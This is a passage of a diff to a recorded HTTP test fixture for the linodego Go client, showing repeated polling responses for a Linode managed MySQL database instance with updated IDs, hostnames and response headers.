"lin-133362-17405-mysql-primary.servers.linodedb.net", + "secondary": "lin-133362-17405-mysql-primary-private.servers.linodedb.net"}, + "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "total_disk_size_gb": + 15, "used_disk_size_gb": 2, "members": {}, "ssl_connection": false, "replication_type": + "semi_synch", "updates": {"frequency": "monthly", "duration": 1, "hour_of_day": + 8, "day_of_week": 3, "week_of_month": 3}}' headers: Access-Control-Allow-Credentials: - "true" @@ -15068,16 +19761,19 @@ interactions: Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - - private, max-age=0, s-maxage=0, no-cache, no-store - - private, max-age=60, s-maxage=60 + - max-age=0, no-cache, no-store + Connection: + - keep-alive Content-Length: - - "648" + - "716" Content-Security-Policy: - default-src 'none' Content-Type: - application/json - Server: - - nginx + Expires: + - Mon, 24 Jun 2024 18:48:24 GMT + Pragma: + - no-cache Strict-Transport-Security: - max-age=31536000 Vary: @@ -15093,7 +19789,7 @@ interactions: X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - - "800" + - "400" X-Xss-Protection: - 1; mode=block status: 200 OK @@ -15109,17 +19805,18 @@ interactions: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego - url: https://api.linode.com/v4beta/databases/mysql/instances/28254 + url: https://api.linode.com/v4beta/databases/mysql/instances/133362 method: GET response: - body: '{"id": 28254, "label": "go-mysql-test-def-updated", "type": "g6-nanode-1", + body: '{"id": 133362, "label": "go-mysql-test-def-updated", "type": "g6-nanode-1", "engine": "mysql", "version": "8.0.30", "region": "ap-west", "status": "updating", - "encrypted": false, "allow_list": ["128.173.205.21", "123.177.200.20"], "cluster_size": - 3, "hosts": {"primary": "lin-28254-15158-mysql-primary.servers.linodedb.net", - "secondary": "lin-28254-15158-mysql-primary-private.servers.linodedb.net"}, - "ssl_connection": false, "replication_type": "semi_synch", "port": 3306, "updates": - {"frequency": "monthly", "duration": 1, "hour_of_day": 8, "day_of_week": 3, - "week_of_month": 3}, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05"}' + "port": 3306, "encrypted": false, "allow_list": ["128.173.205.21", "123.177.200.20"], + "cluster_size": 3, "hosts": {"primary": "lin-133362-17405-mysql-primary.servers.linodedb.net", + "secondary": "lin-133362-17405-mysql-primary-private.servers.linodedb.net"}, + "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "total_disk_size_gb": + 15, "used_disk_size_gb": 2, "members": {}, "ssl_connection": false, "replication_type": + "semi_synch", "updates": {"frequency": "monthly", "duration": 1, "hour_of_day": + 8, "day_of_week": 3, "week_of_month": 3}}' headers: Access-Control-Allow-Credentials: - "true" @@ -15132,16 +19829,19 @@ interactions: Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - - private, max-age=0, s-maxage=0, no-cache, no-store - - private, max-age=60, s-maxage=60 + - max-age=0, no-cache, no-store + Connection: + - keep-alive Content-Length: - - "648" + - "716" Content-Security-Policy: - default-src 'none' Content-Type: - application/json - Server: - - nginx + Expires: + - Mon, 24 Jun 2024 18:48:39 GMT + Pragma: + - no-cache Strict-Transport-Security: - max-age=31536000 Vary: @@ -15157,7 +19857,7 @@ interactions: X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - - "800" + - "400" X-Xss-Protection: - 1; mode=block status: 200 OK @@ -15173,17 +19873,18 @@ interactions: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego - url: https://api.linode.com/v4beta/databases/mysql/instances/28254 + url: https://api.linode.com/v4beta/databases/mysql/instances/133362 method: GET response: - body: '{"id": 28254, "label": "go-mysql-test-def-updated", "type": "g6-nanode-1", + body: '{"id": 133362, "label": "go-mysql-test-def-updated", "type": "g6-nanode-1", "engine": "mysql", "version": "8.0.30", "region": "ap-west", "status": "updating", - "encrypted": false, "allow_list": ["128.173.205.21", "123.177.200.20"], "cluster_size": - 3, "hosts": {"primary": "lin-28254-15158-mysql-primary.servers.linodedb.net", - "secondary": "lin-28254-15158-mysql-primary-private.servers.linodedb.net"}, - "ssl_connection": false, "replication_type": "semi_synch", "port": 3306, "updates": - {"frequency": "monthly", "duration": 1, "hour_of_day": 8, "day_of_week": 3, - "week_of_month": 3}, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05"}' + "port": 3306, "encrypted": false, "allow_list": ["128.173.205.21", "123.177.200.20"], + "cluster_size": 3, "hosts": {"primary": "lin-133362-17405-mysql-primary.servers.linodedb.net", + "secondary": "lin-133362-17405-mysql-primary-private.servers.linodedb.net"}, + "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "total_disk_size_gb": + 15, "used_disk_size_gb": 2, "members": {}, "ssl_connection": false, "replication_type": + "semi_synch", "updates": {"frequency": "monthly", "duration": 1, "hour_of_day": + 8, "day_of_week": 3, "week_of_month": 3}}' headers: Access-Control-Allow-Credentials: - "true" @@ -15196,16 +19897,19 @@ interactions: Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - - private, max-age=0, s-maxage=0, no-cache, no-store - - private, max-age=60, s-maxage=60 + - max-age=0, no-cache, no-store + Connection: + - keep-alive Content-Length: - - "648" + - "716" Content-Security-Policy: - default-src 'none' Content-Type: - application/json - Server: - - nginx + Expires: + - Mon, 24 Jun 2024 18:48:54 GMT + Pragma: + - no-cache Strict-Transport-Security: - max-age=31536000 Vary: @@ -15221,7 +19925,7 @@ interactions: X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - - "800" + - "400" X-Xss-Protection: - 1; mode=block status: 200 OK @@ -15237,17 +19941,18 @@ interactions: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego - url: https://api.linode.com/v4beta/databases/mysql/instances/28254 + url: https://api.linode.com/v4beta/databases/mysql/instances/133362 method: GET response: - body: '{"id": 28254, "label": "go-mysql-test-def-updated", "type": "g6-nanode-1", + body: '{"id": 133362, "label": "go-mysql-test-def-updated", "type": "g6-nanode-1", "engine": "mysql", "version": "8.0.30", "region": "ap-west", "status": "updating", - "encrypted": false, "allow_list": ["128.173.205.21", "123.177.200.20"], "cluster_size": - 3, "hosts": {"primary": "lin-28254-15158-mysql-primary.servers.linodedb.net", - "secondary": "lin-28254-15158-mysql-primary-private.servers.linodedb.net"}, - "ssl_connection": false, "replication_type": "semi_synch", "port": 3306, "updates": - {"frequency": "monthly", "duration": 1, "hour_of_day": 8, "day_of_week": 3, - "week_of_month": 3}, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05"}' + "port": 3306, "encrypted": false, "allow_list": ["128.173.205.21", "123.177.200.20"], + "cluster_size": 3, "hosts": {"primary": "lin-133362-17405-mysql-primary.servers.linodedb.net", + "secondary": "lin-133362-17405-mysql-primary-private.servers.linodedb.net"}, + "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "total_disk_size_gb": + 15, "used_disk_size_gb": 2, "members": {}, "ssl_connection": false, "replication_type": + "semi_synch", "updates": {"frequency": "monthly", "duration": 1, "hour_of_day": + 8, "day_of_week": 3, "week_of_month": 3}}' headers: Access-Control-Allow-Credentials: - "true" @@ -15260,16 +19965,19 @@ interactions: Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - - private, max-age=0, s-maxage=0, no-cache, no-store - - private, max-age=60, s-maxage=60 + - max-age=0, no-cache, no-store + Connection: + - keep-alive Content-Length: - - "648" + - "716" Content-Security-Policy: - default-src 'none' Content-Type: - application/json - Server: - - nginx + Expires: + - Mon, 24 Jun 2024 18:49:09 GMT + Pragma: + - no-cache Strict-Transport-Security: - max-age=31536000 Vary: @@ -15285,7 +19993,7 @@ interactions: X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - - "800" + - "400" X-Xss-Protection: - 1; mode=block status: 200 OK @@ -15301,17 +20009,18 @@ interactions: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego - url: https://api.linode.com/v4beta/databases/mysql/instances/28254 + url: https://api.linode.com/v4beta/databases/mysql/instances/133362 method: GET response: - body: '{"id": 28254, "label": "go-mysql-test-def-updated", "type": "g6-nanode-1", + body: '{"id": 133362, "label": "go-mysql-test-def-updated", "type": "g6-nanode-1", "engine": "mysql", "version": "8.0.30", "region": "ap-west", "status": "updating", - "encrypted": false, "allow_list": ["128.173.205.21", "123.177.200.20"], "cluster_size": - 3, "hosts": {"primary": "lin-28254-15158-mysql-primary.servers.linodedb.net", - "secondary": "lin-28254-15158-mysql-primary-private.servers.linodedb.net"}, - "ssl_connection": false, "replication_type": "semi_synch", "port": 3306, "updates": - {"frequency": "monthly", "duration": 1, "hour_of_day": 8, "day_of_week": 3, - "week_of_month": 3}, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05"}' + "port": 3306, "encrypted": false, "allow_list": ["128.173.205.21", "123.177.200.20"], + "cluster_size": 3, "hosts": {"primary": "lin-133362-17405-mysql-primary.servers.linodedb.net", + "secondary": "lin-133362-17405-mysql-primary-private.servers.linodedb.net"}, + "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "total_disk_size_gb": + 15, "used_disk_size_gb": 2, "members": {}, "ssl_connection": false, "replication_type": + "semi_synch", "updates": {"frequency": "monthly", "duration": 1, "hour_of_day": + 8, "day_of_week": 3, "week_of_month": 3}}' headers: Access-Control-Allow-Credentials: - "true" @@ -15324,16 +20033,19 @@ interactions: Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - - private, max-age=0, s-maxage=0, no-cache, no-store - - private, max-age=60, s-maxage=60 + - max-age=0, no-cache, no-store + Connection: + - keep-alive Content-Length: - - "648" + - "716" Content-Security-Policy: - default-src 'none' Content-Type: - application/json - Server: - - nginx + Expires: + - Mon, 24 Jun 2024 18:49:24 GMT + Pragma: + - no-cache Strict-Transport-Security: - max-age=31536000 Vary: @@ -15349,7 +20061,7 @@ interactions: X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - - "800" + - "400" X-Xss-Protection: - 1; mode=block status: 200 OK @@ -15365,17 +20077,18 @@ interactions: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego - url: https://api.linode.com/v4beta/databases/mysql/instances/28254 + url: https://api.linode.com/v4beta/databases/mysql/instances/133362 method: GET response: - body: '{"id": 28254, "label": "go-mysql-test-def-updated", "type": "g6-nanode-1", + body: '{"id": 133362, "label": "go-mysql-test-def-updated", "type": "g6-nanode-1", "engine": "mysql", "version": "8.0.30", "region": "ap-west", "status": "updating", - "encrypted": false, "allow_list": ["128.173.205.21", "123.177.200.20"], "cluster_size": - 3, "hosts": {"primary": "lin-28254-15158-mysql-primary.servers.linodedb.net", - "secondary": "lin-28254-15158-mysql-primary-private.servers.linodedb.net"}, - "ssl_connection": false, "replication_type": "semi_synch", "port": 3306, "updates": - {"frequency": "monthly", "duration": 1, "hour_of_day": 8, "day_of_week": 3, - "week_of_month": 3}, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05"}' + "port": 3306, "encrypted": false, "allow_list": ["128.173.205.21", "123.177.200.20"], + "cluster_size": 3, "hosts": {"primary": "lin-133362-17405-mysql-primary.servers.linodedb.net", + "secondary": "lin-133362-17405-mysql-primary-private.servers.linodedb.net"}, + "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "total_disk_size_gb": + 15, "used_disk_size_gb": 2, "members": {}, "ssl_connection": false, "replication_type": + "semi_synch", "updates": {"frequency": "monthly", "duration": 1, "hour_of_day": + 8, "day_of_week": 3, "week_of_month": 3}}' headers: Access-Control-Allow-Credentials: - "true" @@ -15388,16 +20101,19 @@ interactions: Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - - private, max-age=0, s-maxage=0, no-cache, no-store - - private, max-age=60, s-maxage=60 + - max-age=0, no-cache, no-store + Connection: + - keep-alive Content-Length: - - "648" + - "716" Content-Security-Policy: - default-src 'none' Content-Type: - application/json - Server: - - nginx + Expires: + - Mon, 24 Jun 2024 18:49:39 GMT + Pragma: + - no-cache Strict-Transport-Security: - max-age=31536000 Vary: @@ -15413,7 +20129,7 @@ interactions: X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - - "800" + - "400" X-Xss-Protection: - 1; mode=block status: 200 OK @@ -15429,17 +20145,18 @@ interactions: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego - url: https://api.linode.com/v4beta/databases/mysql/instances/28254 + url: https://api.linode.com/v4beta/databases/mysql/instances/133362 method: GET response: - body: '{"id": 28254, "label": "go-mysql-test-def-updated", "type": "g6-nanode-1", + body: '{"id": 133362, "label": "go-mysql-test-def-updated", "type": "g6-nanode-1", "engine": "mysql", "version": "8.0.30", "region": "ap-west", "status": "updating", - "encrypted": false, "allow_list": ["128.173.205.21", "123.177.200.20"], "cluster_size": - 3, "hosts": {"primary": "lin-28254-15158-mysql-primary.servers.linodedb.net", - "secondary": "lin-28254-15158-mysql-primary-private.servers.linodedb.net"}, - "ssl_connection": false, "replication_type": "semi_synch", "port": 3306, "updates": - {"frequency": "monthly", "duration": 1, "hour_of_day": 8, "day_of_week": 3, - "week_of_month": 3}, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05"}' + "port": 3306, "encrypted": false, "allow_list": ["128.173.205.21", "123.177.200.20"], + "cluster_size": 3, "hosts": {"primary": "lin-133362-17405-mysql-primary.servers.linodedb.net", + "secondary": "lin-133362-17405-mysql-primary-private.servers.linodedb.net"}, + "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "total_disk_size_gb": + 15, "used_disk_size_gb": 2, "members": {}, "ssl_connection": false, "replication_type": + "semi_synch", "updates": {"frequency": "monthly", "duration": 1, "hour_of_day": + 8, "day_of_week": 3, "week_of_month": 3}}' headers: Access-Control-Allow-Credentials: - "true" @@ -15452,16 +20169,19 @@ interactions: Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - - private, max-age=0, s-maxage=0, no-cache, no-store - - private, max-age=60, s-maxage=60 + - max-age=0, no-cache, no-store + Connection: + - keep-alive Content-Length: - - "648" + - "716" Content-Security-Policy: - default-src 'none' Content-Type: - application/json - Server: - - nginx + Expires: + - Mon, 24 Jun 2024 18:49:54 GMT + Pragma: + - no-cache Strict-Transport-Security: - max-age=31536000 Vary: @@ -15477,7 +20197,7 @@ interactions: X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - - "800" + - "400" X-Xss-Protection: - 1; mode=block status: 200 OK @@ -15493,17 +20213,18 @@ interactions: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego - url: https://api.linode.com/v4beta/databases/mysql/instances/28254 + url: https://api.linode.com/v4beta/databases/mysql/instances/133362 method: GET response: - body: '{"id": 28254, "label": "go-mysql-test-def-updated", "type": "g6-nanode-1", + body: '{"id": 133362, "label": "go-mysql-test-def-updated", "type": "g6-nanode-1", "engine": "mysql", "version": "8.0.30", "region": "ap-west", "status": "updating", - "encrypted": false, "allow_list": ["128.173.205.21", "123.177.200.20"], "cluster_size": - 3, "hosts": {"primary": "lin-28254-15158-mysql-primary.servers.linodedb.net", - "secondary": "lin-28254-15158-mysql-primary-private.servers.linodedb.net"}, - "ssl_connection": false, "replication_type": "semi_synch", "port": 3306, "updates": - {"frequency": "monthly", "duration": 1, "hour_of_day": 8, "day_of_week": 3, - "week_of_month": 3}, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05"}' + "port": 3306, "encrypted": false, "allow_list": ["128.173.205.21", "123.177.200.20"], + "cluster_size": 3, "hosts": {"primary": "lin-133362-17405-mysql-primary.servers.linodedb.net", + "secondary": "lin-133362-17405-mysql-primary-private.servers.linodedb.net"}, + "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "total_disk_size_gb": + 15, "used_disk_size_gb": 2, "members": {}, "ssl_connection": false, "replication_type": + "semi_synch", "updates": {"frequency": "monthly", "duration": 1, "hour_of_day": + 8, "day_of_week": 3, "week_of_month": 3}}' headers: Access-Control-Allow-Credentials: - "true" @@ -15516,16 +20237,19 @@ interactions: Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - - private, max-age=0, s-maxage=0, no-cache, no-store - - private, max-age=60, s-maxage=60 + - max-age=0, no-cache, no-store + Connection: + - keep-alive Content-Length: - - "648" + - "716" Content-Security-Policy: - default-src 'none' Content-Type: - application/json - Server: - - nginx + Expires: + - Mon, 24 Jun 2024 18:50:09 GMT + Pragma: + - no-cache Strict-Transport-Security: - max-age=31536000 Vary: @@ -15541,7 +20265,7 @@ interactions: X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - - "800" + - "400" X-Xss-Protection: - 1; mode=block status: 200 OK @@ -15557,17 +20281,18 @@ interactions: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego - url: https://api.linode.com/v4beta/databases/mysql/instances/28254 + url: https://api.linode.com/v4beta/databases/mysql/instances/133362 method: GET response: - body: '{"id": 28254, "label": "go-mysql-test-def-updated", "type": "g6-nanode-1", + body: '{"id": 133362, "label": "go-mysql-test-def-updated", "type": "g6-nanode-1", "engine": "mysql", "version": "8.0.30", "region": "ap-west", "status": "updating", - "encrypted": false, "allow_list": ["128.173.205.21", "123.177.200.20"], "cluster_size": - 3, "hosts": {"primary": "lin-28254-15158-mysql-primary.servers.linodedb.net", - "secondary": "lin-28254-15158-mysql-primary-private.servers.linodedb.net"}, - "ssl_connection": false, "replication_type": "semi_synch", "port": 3306, "updates": - {"frequency": "monthly", "duration": 1, "hour_of_day": 8, "day_of_week": 3, - "week_of_month": 3}, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05"}' + "port": 3306, "encrypted": false, "allow_list": ["128.173.205.21", "123.177.200.20"], + "cluster_size": 3, "hosts": {"primary": "lin-133362-17405-mysql-primary.servers.linodedb.net", + "secondary": "lin-133362-17405-mysql-primary-private.servers.linodedb.net"}, + "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "total_disk_size_gb": + 15, "used_disk_size_gb": 2, "members": {}, "ssl_connection": false, "replication_type": + "semi_synch", "updates": {"frequency": "monthly", "duration": 1, "hour_of_day": + 8, "day_of_week": 3, "week_of_month": 3}}' headers: Access-Control-Allow-Credentials: - "true" @@ -15580,16 +20305,19 @@ interactions: Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - - private, max-age=0, s-maxage=0, no-cache, no-store - - private, max-age=60, s-maxage=60 + - max-age=0, no-cache, no-store + Connection: + - keep-alive Content-Length: - - "648" + - "716" Content-Security-Policy: - default-src 'none' Content-Type: - application/json - Server: - - nginx + Expires: + - Mon, 24 Jun 2024 18:50:24 GMT + Pragma: + - no-cache Strict-Transport-Security: - max-age=31536000 Vary: @@ -15605,7 +20333,7 @@ interactions: X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - - "800" + - "400" X-Xss-Protection: - 1; mode=block status: 200 OK @@ -15621,17 +20349,18 @@ interactions: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego - url: https://api.linode.com/v4beta/databases/mysql/instances/28254 + url: https://api.linode.com/v4beta/databases/mysql/instances/133362 method: GET response: - body: '{"id": 28254, "label": "go-mysql-test-def-updated", "type": "g6-nanode-1", + body: '{"id": 133362, "label": "go-mysql-test-def-updated", "type": "g6-nanode-1", "engine": "mysql", "version": "8.0.30", "region": "ap-west", "status": "updating", - "encrypted": false, "allow_list": ["128.173.205.21", "123.177.200.20"], "cluster_size": - 3, "hosts": {"primary": "lin-28254-15158-mysql-primary.servers.linodedb.net", - "secondary": "lin-28254-15158-mysql-primary-private.servers.linodedb.net"}, - "ssl_connection": false, "replication_type": "semi_synch", "port": 3306, "updates": - {"frequency": "monthly", "duration": 1, "hour_of_day": 8, "day_of_week": 3, - "week_of_month": 3}, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05"}' + "port": 3306, "encrypted": false, "allow_list": ["128.173.205.21", "123.177.200.20"], + "cluster_size": 3, "hosts": {"primary": "lin-133362-17405-mysql-primary.servers.linodedb.net", + "secondary": "lin-133362-17405-mysql-primary-private.servers.linodedb.net"}, + "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "total_disk_size_gb": + 15, "used_disk_size_gb": 2, "members": {}, "ssl_connection": false, "replication_type": + "semi_synch", "updates": {"frequency": "monthly", "duration": 1, "hour_of_day": + 8, "day_of_week": 3, "week_of_month": 3}}' headers: Access-Control-Allow-Credentials: - "true" @@ -15644,16 +20373,19 @@ interactions: Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - - private, max-age=0, s-maxage=0, no-cache, no-store - - private, max-age=60, s-maxage=60 + - max-age=0, no-cache, no-store + Connection: + - keep-alive Content-Length: - - "648" + - "716" Content-Security-Policy: - default-src 'none' Content-Type: - application/json - Server: - - nginx + Expires: + - Mon, 24 Jun 2024 18:50:39 GMT + Pragma: + - no-cache Strict-Transport-Security: - max-age=31536000 Vary: @@ -15669,7 +20401,7 @@ interactions: X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - - "800" + - "400" X-Xss-Protection: - 1; mode=block status: 200 OK @@ -15685,17 +20417,18 @@ interactions: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego - url: https://api.linode.com/v4beta/databases/mysql/instances/28254 + url: https://api.linode.com/v4beta/databases/mysql/instances/133362 method: GET response: - body: '{"id": 28254, "label": "go-mysql-test-def-updated", "type": "g6-nanode-1", + body: '{"id": 133362, "label": "go-mysql-test-def-updated", "type": "g6-nanode-1", "engine": "mysql", "version": "8.0.30", "region": "ap-west", "status": "updating", - "encrypted": false, "allow_list": ["128.173.205.21", "123.177.200.20"], "cluster_size": - 3, "hosts": {"primary": "lin-28254-15158-mysql-primary.servers.linodedb.net", - "secondary": "lin-28254-15158-mysql-primary-private.servers.linodedb.net"}, - "ssl_connection": false, "replication_type": "semi_synch", "port": 3306, "updates": - {"frequency": "monthly", "duration": 1, "hour_of_day": 8, "day_of_week": 3, - "week_of_month": 3}, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05"}' + "port": 3306, "encrypted": false, "allow_list": ["128.173.205.21", "123.177.200.20"], + "cluster_size": 3, "hosts": {"primary": "lin-133362-17405-mysql-primary.servers.linodedb.net", + "secondary": "lin-133362-17405-mysql-primary-private.servers.linodedb.net"}, + "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "total_disk_size_gb": + 15, "used_disk_size_gb": 2, "members": {}, "ssl_connection": false, "replication_type": + "semi_synch", "updates": {"frequency": "monthly", "duration": 1, "hour_of_day": + 8, "day_of_week": 3, "week_of_month": 3}}' headers: Access-Control-Allow-Credentials: - "true" @@ -15708,16 +20441,19 @@ interactions: Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - - private, max-age=0, s-maxage=0, no-cache, no-store - - private, max-age=60, s-maxage=60 + - max-age=0, no-cache, no-store + Connection: + - keep-alive Content-Length: - - "648" + - "716" Content-Security-Policy: - default-src 'none' Content-Type: - application/json - Server: - - nginx + Expires: + - Mon, 24 Jun 2024 18:50:54 GMT + Pragma: + - no-cache Strict-Transport-Security: - max-age=31536000 Vary: @@ -15733,7 +20469,7 @@ interactions: X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - - "800" + - "400" X-Xss-Protection: - 1; mode=block status: 200 OK @@ -15749,17 +20485,18 @@ interactions: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego - url: https://api.linode.com/v4beta/databases/mysql/instances/28254 + url: https://api.linode.com/v4beta/databases/mysql/instances/133362 method: GET response: - body: '{"id": 28254, "label": "go-mysql-test-def-updated", "type": "g6-nanode-1", + body: '{"id": 133362, "label": "go-mysql-test-def-updated", "type": "g6-nanode-1", "engine": "mysql", "version": "8.0.30", "region": "ap-west", "status": "updating", - "encrypted": false, "allow_list": ["128.173.205.21", "123.177.200.20"], "cluster_size": - 3, "hosts": {"primary": "lin-28254-15158-mysql-primary.servers.linodedb.net", - "secondary": "lin-28254-15158-mysql-primary-private.servers.linodedb.net"}, - "ssl_connection": false, "replication_type": "semi_synch", "port": 3306, "updates": - {"frequency": "monthly", "duration": 1, "hour_of_day": 8, "day_of_week": 3, - "week_of_month": 3}, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05"}' + "port": 3306, "encrypted": false, "allow_list": ["128.173.205.21", "123.177.200.20"], + "cluster_size": 3, "hosts": {"primary": "lin-133362-17405-mysql-primary.servers.linodedb.net", + "secondary": "lin-133362-17405-mysql-primary-private.servers.linodedb.net"}, + "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "total_disk_size_gb": + 15, "used_disk_size_gb": 2, "members": {}, "ssl_connection": false, "replication_type": + "semi_synch", "updates": {"frequency": "monthly", "duration": 1, "hour_of_day": + 8, "day_of_week": 3, "week_of_month": 3}}' headers: Access-Control-Allow-Credentials: - "true" @@ -15772,16 +20509,19 @@ interactions: Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - - private, max-age=0, s-maxage=0, no-cache, no-store - - private, max-age=60, s-maxage=60 + - max-age=0, no-cache, no-store + Connection: + - keep-alive Content-Length: - - "648" + - "716" Content-Security-Policy: - default-src 'none' Content-Type: - application/json - Server: - - nginx + Expires: + - Mon, 24 Jun 2024 18:51:09 GMT + Pragma: + - no-cache Strict-Transport-Security: - max-age=31536000 Vary: @@ -15797,7 +20537,7 @@ interactions: X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - - "800" + - "400" X-Xss-Protection: - 1; mode=block status: 200 OK @@ -15813,17 +20553,18 @@ interactions: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego - url: https://api.linode.com/v4beta/databases/mysql/instances/28254 + url: https://api.linode.com/v4beta/databases/mysql/instances/133362 method: GET response: - body: '{"id": 28254, "label": "go-mysql-test-def-updated", "type": "g6-nanode-1", + body: '{"id": 133362, "label": "go-mysql-test-def-updated", "type": "g6-nanode-1", "engine": "mysql", "version": "8.0.30", "region": "ap-west", "status": "updating", - "encrypted": false, "allow_list": ["128.173.205.21", "123.177.200.20"], "cluster_size": - 3, "hosts": {"primary": "lin-28254-15158-mysql-primary.servers.linodedb.net", - "secondary": "lin-28254-15158-mysql-primary-private.servers.linodedb.net"}, - "ssl_connection": false, "replication_type": "semi_synch", "port": 3306, "updates": - {"frequency": "monthly", "duration": 1, "hour_of_day": 8, "day_of_week": 3, - "week_of_month": 3}, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05"}' + "port": 3306, "encrypted": false, "allow_list": ["128.173.205.21", "123.177.200.20"], + "cluster_size": 3, "hosts": {"primary": "lin-133362-17405-mysql-primary.servers.linodedb.net", + "secondary": "lin-133362-17405-mysql-primary-private.servers.linodedb.net"}, + "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "total_disk_size_gb": + 15, "used_disk_size_gb": 2, "members": {}, "ssl_connection": false, "replication_type": + "semi_synch", "updates": {"frequency": "monthly", "duration": 1, "hour_of_day": + 8, "day_of_week": 3, "week_of_month": 3}}' headers: Access-Control-Allow-Credentials: - "true" @@ -15836,16 +20577,19 @@ interactions: Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - - private, max-age=0, s-maxage=0, no-cache, no-store - - private, max-age=60, s-maxage=60 + - max-age=0, no-cache, no-store + Connection: + - keep-alive Content-Length: - - "648" + - "716" Content-Security-Policy: - default-src 'none' Content-Type: - application/json - Server: - - nginx + Expires: + - Mon, 24 Jun 2024 18:51:24 GMT + Pragma: + - no-cache Strict-Transport-Security: - max-age=31536000 Vary: @@ -15861,7 +20605,7 @@ interactions: X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - - "800" + - "400" X-Xss-Protection: - 1; mode=block status: 200 OK @@ -15877,17 +20621,18 @@ interactions: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego - url: https://api.linode.com/v4beta/databases/mysql/instances/28254 + url: https://api.linode.com/v4beta/databases/mysql/instances/133362 method: GET response: - body: '{"id": 28254, "label": "go-mysql-test-def-updated", "type": "g6-nanode-1", + body: '{"id": 133362, "label": "go-mysql-test-def-updated", "type": "g6-nanode-1", "engine": "mysql", "version": "8.0.30", "region": "ap-west", "status": "updating", - "encrypted": false, "allow_list": ["128.173.205.21", "123.177.200.20"], "cluster_size": - 3, "hosts": {"primary": "lin-28254-15158-mysql-primary.servers.linodedb.net", - "secondary": "lin-28254-15158-mysql-primary-private.servers.linodedb.net"}, - "ssl_connection": false, "replication_type": "semi_synch", "port": 3306, "updates": - {"frequency": "monthly", "duration": 1, "hour_of_day": 8, "day_of_week": 3, - "week_of_month": 3}, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05"}' + "port": 3306, "encrypted": false, "allow_list": ["128.173.205.21", "123.177.200.20"], + "cluster_size": 3, "hosts": {"primary": "lin-133362-17405-mysql-primary.servers.linodedb.net", + "secondary": "lin-133362-17405-mysql-primary-private.servers.linodedb.net"}, + "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "total_disk_size_gb": + 15, "used_disk_size_gb": 2, "members": {}, "ssl_connection": false, "replication_type": + "semi_synch", "updates": {"frequency": "monthly", "duration": 1, "hour_of_day": + 8, "day_of_week": 3, "week_of_month": 3}}' headers: Access-Control-Allow-Credentials: - "true" @@ -15900,16 +20645,19 @@ 